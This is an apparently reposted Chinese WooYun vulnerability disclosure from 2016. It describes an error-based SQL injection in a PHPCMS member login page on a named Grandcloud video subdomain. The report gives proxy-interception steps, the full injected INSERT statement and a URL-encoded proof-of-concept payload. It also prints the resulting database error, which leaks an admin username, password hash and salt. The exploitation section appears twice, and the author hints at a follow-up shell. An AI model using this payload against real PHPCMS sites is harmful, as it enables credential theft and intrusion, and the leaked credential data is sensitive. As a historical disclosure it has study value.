盛大云某二级域名分站存在SQL注射漏洞(数据云应用附POC)

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-04-28: 细节已通知厂商并且等待厂商处理中
2016-04-28: 厂商已经确认,细节仅向厂商公开
2016-05-08: 细节向核心白帽子及相关领域专家公开
2016-05-18: 细节向普通白帽子公开
2016-05-28: 细节向实习白帽子公开
2016-06-12: 细节向公众公开

简要描述:

RTRT
第二发直接getshell
期待

详细说明:

http://video.grandcloud.cn/index.php?m=member&c=index&a=login



看了下是PHPCMS的



传上POC



随便填用户名和密码(先别点击登录)



第二步:设置浏览器的代理模式

点击登录,获取登录包







第三步,我们用以下代码替换password



***********************************************************8



返回如下错误,我们可以看到他说v9_admin表不存在,我们发现他表的前缀不对,我们需要改为sl_admin才对(如果是默认前缀v9的话,这一步就直接报用户名和密码和salt了)



第五步(如前缀非默认v9,按照如下步骤做)

用以下代码:

***********************************8



INSERT INTO `new_video`.`v9_member`(`phpssouid`,`username`,`password`,`encrypt`,`email`,`regip`,`regdate`,`lastip`,`lastdate`,`groupid`,`modelid`) VALUES ('2999999','test','5f1d7a84db00d2fce00b31a7fc73224f','123456','','',(select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(username,0x3a,password,0x3a,encrypt) from v9_admin limit 0,1)),1,62)))a from information_schema.tables group by a)b)),'','111','222','3333')#','2','10') <br /><b> MySQL Error : </b>Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key' <br /> <b>MySQL Errno : </b>1062 <br /><b> Message : </b> Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key'



QQ截图20160428084934.png

 

QQ截图20160428084745.png





http://video.grandcloud.cn/index.php?m=member&c=index&a=login





poc

123456%26username%3d%2527%2bunion%2bselect%2b%25272999999%2527%252c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252c0x272C2873656C656374202831292066726F6D206D7973716C2E7573657220776865726520313D3120614E64202853454C45435420312046524F4D202873656C65637420636F756E74282A292C636F6E63617428666C6F6F722872616E642830292A32292C28737562737472696E67282853656C656374202873656C65637420636F6E63617428757365726E616D652C307833612C70617373776F72642C307833612C656E6372797074292066726F6D2076395F61646D696E206C696D697420302C3129292C312C3632292929612066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C65732067726F75702062792061296229292C27%252c111%252c222%252c0x33333333272923%252c444%252c555%252c666%252cnull%2523

漏洞证明:

http://video.grandcloud.cn/index.php?m=member&c=index&a=login



看了下是PHPCMS的



传上POC



随便填用户名和密码(先别点击登录)



第二步:设置浏览器的代理模式

点击登录,获取登录包







第三步,我们用以下代码替换password



***********************************************************8



返回如下错误,我们可以看到他说v9_admin表不存在,我们发现他表的前缀不对,我们需要改为sl_admin才对(如果是默认前缀v9的话,这一步就直接报用户名和密码和salt了)



第五步(如前缀非默认v9,按照如下步骤做)

用以下代码:

***********************************8



INSERT INTO `new_video`.`v9_member`(`phpssouid`,`username`,`password`,`encrypt`,`email`,`regip`,`regdate`,`lastip`,`lastdate`,`groupid`,`modelid`) VALUES ('2999999','test','5f1d7a84db00d2fce00b31a7fc73224f','123456','','',(select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(username,0x3a,password,0x3a,encrypt) from v9_admin limit 0,1)),1,62)))a from information_schema.tables group by a)b)),'','111','222','3333')#','2','10') <br /><b> MySQL Error : </b>Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key' <br /> <b>MySQL Errno : </b>1062 <br /><b> Message : </b> Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key'



QQ截图20160428084934.png

 

QQ截图20160428084745.png





http://video.grandcloud.cn/index.php?m=member&c=index&a=login

修复方案:

过滤

第二发直接getshell

期待

版权声明:转载请注明来源 奶嘴@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-04-28 09:57

厂商回复:

谢谢报告,这个域名其实不属于我们,会转告一下!

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:盛大云某二级域名分站存在SQL注射漏洞(数据云应用附POC) - https://www.15qq.cn/wooyun/826.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知

评论

1条评论
  1. avatar

    还可以aa Lv.6 Chrome 55.0.2883.87 Chrome 55.0.2883.87 Windows 7 x64 Edition Windows 7 x64 Edition 回复

    广西 移动数据上网公共出口